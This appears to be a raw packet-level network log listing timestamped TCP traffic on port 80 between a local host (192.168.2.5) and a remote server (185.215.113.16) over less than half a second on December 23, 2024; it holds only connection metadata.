Dec 23, 2024 07:16:08.027168036 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.027220011 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.027276993 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.027965069 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.028074026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.028114080 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.028132915 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.028907061 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.029005051 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.029011965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.029047012 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.029088020 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.029867887 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.029988050 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.030024052 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.030030966 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.030819893 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.030906916 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.030955076 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.030992031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.031094074 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.031781912 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.081803083 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.083842039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.083929062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.083940983 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.083975077 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.084302902 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.084417105 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.084425926 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.084429026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.084490061 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.085283041 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.085381985 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.085393906 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.085576057 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.086235046 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.086272955 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.086343050 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.086354971 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.086424112 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.087210894 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.087297916 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.087308884 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.087582111 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.088207960 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.088293076 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.088308096 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.088320017 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.088372946 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.089154959 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.089255095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.089266062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.089291096 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.090116978 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.090183020 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.090212107 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.090223074 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.090310097 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.091059923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.091157913 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.091176033 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.091197014 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.092060089 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.092098951 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.092149973 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.092161894 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.092215061 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.092994928 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.093101978 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.093112946 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.093157053 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.093954086 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.094043016 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.094048977 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.094069004 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.094275951 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.094932079 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.095027924 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.095041990 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.095128059 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.095891953 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.095971107 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.096008062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.096020937 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.096385002 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.096860886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.096961975 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.096972942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.097124100 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.097815037 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.097917080 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.097929001 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.097960949 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.097960949 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.098782063 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.098893881 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.098905087 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.099121094 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.099733114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.099778891 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.099850893 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.099862099 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.099915028 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.100702047 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.100796938 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.100811958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.100878954 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.101660013 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.101705074 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.101761103 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.101773024 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.101809025 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.102659941 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.102727890 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.102740049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.102802992 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.103589058 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.103708029 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.103719950 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.103754997 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.103754997 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.104521036 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.144293070 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.146934986 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.146956921 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.147037029 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.147217035 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.147306919 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.147330046 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.147561073 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.148091078 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.148142099 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.148190022 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.148200989 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.148257017 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.149069071 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.149173975 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.149180889 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.149224997 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.150064945 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.150120974 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.150146961 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.150158882 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.150281906 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.150975943 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.151072025 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.151223898 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.151240110 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.151941061 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.152021885 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.152051926 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.152062893 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.152103901 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.152883053 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.206847906 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.218374014 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.218450069 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.218457937 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.218535900 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.218816996 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.218893051 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.218911886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.219363928 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.219410896 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.219469070 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.219480991 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.219517946 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.220345974 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.220462084 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.220474958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.220519066 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.221297979 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.221365929 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.221394062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.221405983 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.221555948 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.222270966 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.222385883 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.222398996 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.222496033 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.223213911 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.223293066 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.223350048 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.223364115 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.223406076 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.224153996 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.269387007 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.276355028 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.276441097 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.276501894 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.276565075 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.276819944 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.276885986 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.276946068 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.276988983 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.277046919 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.277801991 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.277894020 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.277928114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.277940035 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.278835058 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.278904915 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.278951883 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.278987885 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.279083967 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.279706955 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.279819965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.279855967 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.279896021 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.280682087 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.280740976 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.280772924 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.280807972 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.280914068 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.281613111 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.281723976 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.281773090 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.281826973 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.282582045 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.282674074 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.282691956 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.282730103 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.282829046 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.283564091 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.283682108 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.283716917 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.283739090 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.284509897 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.284626007 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.284661055 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.284710884 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.284710884 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.285459042 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.285564899 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.285599947 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.285609961 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.286503077 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.286575079 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.286712885 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.286748886 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.286874056 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.287425041 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.287549019 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.287583113 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.288086891 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.288384914 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.288511992 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.288559914 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.288661003 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.288661003 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.289364100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.289458036 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.289491892 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.289582968 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.290322065 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.290431023 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.290452957 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.290478945 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.290914059 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.292241096 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.292298079 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.292349100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.292383909 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.292418957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.292427063 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.292427063 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.292454958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.292587996 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.293205023 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.293302059 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.293338060 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.293395996 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.294229031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.294305086 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.294337988 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.294382095 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.294382095 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.295094967 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.295200109 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.295211077 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.295264006 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.296076059 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.296169996 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.296183109 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.296191931 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.296230078 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.297009945 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.339659929 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.339684963 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.339700937 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.339798927 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.339798927 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.340071917 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.340146065 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.340157032 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.340907097 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.341099024 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.341214895 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.341227055 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.341264009 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.341264009 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.341986895 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.342099905 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.342118025 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.342972994 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.343027115 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.343027115 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.343087912 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.343100071 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.343333960 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.343934059 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.344037056 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.344048023 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.344896078 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.344944954 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.344944954 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.345036983 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.394337893 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.410557032 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.410640955 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.410654068 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.410906076 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.411024094 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.411120892 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.411132097 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.411170959 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.411170959 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.411988020 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.412094116 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.412105083 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.412705898 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.412962914 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.413068056 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.413080931 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.413119078 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.413119078 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.413906097 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.414011955 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.414021969 CET	80	49739	185.215.113.16	192.168.2.5
